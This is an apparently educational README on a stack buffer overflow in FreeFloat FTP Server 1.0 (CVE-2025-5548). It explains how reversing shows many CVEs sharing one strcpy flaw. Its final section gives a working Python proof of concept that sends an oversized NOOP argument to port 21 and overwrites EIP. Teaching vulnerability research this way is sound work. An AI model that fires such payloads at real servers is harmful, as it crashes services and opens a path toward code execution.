# ***🐞 CVE-2025-5548: FreeFloat FTP Server 1.0 Buffer Overflow***



<p align="center">
	<img src="Images/Logos/FreeFloat.png">
</p>



<p align="center">
	<i>
		Example of a classic buffer overflow used to teach how real bugs can be discovered through binary reversing.
	</i>
</p>



---
---
---



## ***📑 Table of Contents***

<ul>
	<li><a href="#why_exists">Why this repository exists</a></li>
	<li><a href="#why_interesting">Why this vulnerability is interesting</a></li>
	<li><a href="#same">Same bug, multiple CVEs</a></li>
	<li><a href="#vulnerability">About the vulnerability</a></li>
	<li><a href="#crash">Triggering the crash</a></li>
</ul>



---
---
---



<div id='why_exists'/>

## ***🎓 Why this repository exists***

This repository was created as part of the material I use when teaching vulnerability research, especially when explaining that reverse engineering is a valid path for beginners.

It is related to my talk **"[The Path That Leads to Your First CVE](https://github.com/TheMalwareGuardian/The-Path-That-Leads-to-Your-First-CVE)"**. In that talk, I explain that there are different ways to start in vulnerability research, and that one of the most realistic paths for beginners is analyzing old software and understanding how it works internally.

Before preparing my own example to demonstrate this idea, I used this CVE as a reference to show students that it is possible to find real bugs in legacy applications with the knowledge obtained after a basic training in binary analysis or reverse engineering.

The goal was simple:

- Show that old programs are good targets.
- Show that beginners can analyze real software.
- Show that crashes can lead to real vulnerabilities.
- Show that reverse engineering can be used from the beginning.

Later, I created my own example following the same idea:

🔗 **[CVE-2025-70330 - Research](https://github.com/TheMalwareGuardian/CVE-2025-70330)**

That example was used to demonstrate step by step how a beginner can reverse an old desktop application, find a bug, document it, and obtain a CVE.



---
---
---



<div id='why_interesting'/>

## **💡 Why this vulnerability is interesting**

This vulnerability affects FreeFloat FTP Server 1.0, a very old Windows FTP server that was written without modern security practices. [In 2025, a researcher reported many CVEs](https://www.cvedetails.com/vulnerability-list/vendor_id-13432/product_id-27960/Freefloat-Freefloat-Ftp-Server.html) affecting this same binary.

Examples include:

- [CVE-2025-5667](https://nvd.nist.gov/vuln/detail/CVE-2025-5667)
- [CVE-2025-5548](https://nvd.nist.gov/vuln/detail/CVE-2025-5548)
- [CVE-2025-5220](https://nvd.nist.gov/vuln/detail/CVE-2025-5220)
- [CVE-2025-5075](https://nvd.nist.gov/vuln/detail/CVE-2025-5075)
- and many others

Each CVE refers to a different FTP command, but when the program is reversed, it becomes clear that many of them reach the same vulnerable code path.

This makes the case interesting not only as a buffer overflow example, but also as a demonstration that:

- Different inputs may trigger the same bug.
- Legacy software may contain multiple unsafe handlers.
- CVE entries do not always represent completely different vulnerabilities.



---
---
---



<div id='same'/>

## ***🔍 Same bug, multiple CVEs***

When reversing the binary, it can be observed that all FTP commands are processed by the same dispatcher function. The command string is stored inside a session structure, and several command handlers copy user input into fixed-size buffers using unsafe functions such as strcpy, strcat, and memcpy, without checking the length of the received data.

Because of this, different commands may overwrite the stack even if the CVE description mentions only one specific command.

For example, the crash may be triggered using:

```
NOOP AAAAA...
USER AAAAA...
PASS AAAAA...
HOST AAAAA...
ANYTHING AAAAA...
```

The only difference is the number of bytes required to overwrite the return address. This means that many CVEs reported for this software share the same root cause.



---
---
---



<div id='vulnerability'/>

## ***⚠️ About the vulnerability***

FreeFloat FTP Server processes commands received over TCP port 21 and stores the command string inside an internal session structure. Later, the command handler copies user-controlled data into local stack buffers without performing proper length validation.

When reversing the binary, it can be observed that several command handlers use fixed-size buffers and unsafe copy operations. A simplified version of the vulnerable logic looks like this:

```c
char buffer[256];

strcpy(buffer, user_input);
```

Since the destination buffer has a fixed size and the input length is not checked, sending a long string causes the copy operation to write past the end of the buffer.

As more data is written, the stack layout becomes corrupted until the saved return address is overwritten.

When the function returns, execution jumps to a user-controlled value, which results in a crash. Under a debugger, this can be seen as the instruction pointer being overwritten with attacker-controlled data.



---
---
---



<div id='crash'/>

## ***💥 Triggering the crash***

The crash can be reproduced by sending a long string after a valid FTP command. Example using Python:

```python
import socket

ip = "127.0.0.1"
port = 21

payload = b"A" * 500

s = socket.socket()
s.connect((ip, port))

s.recv(1024)

s.send(b"USER anonymous\r\n")
s.recv(1024)

s.send(b"PASS anonymous\r\n")
s.recv(1024)

s.send(b"NOOP " + payload + b"\r\n")

s.close()
```

When executed under a debugger, the crash shows:

```
EIP = 41414141
```

which confirms that user-controlled data overwrites the return address.
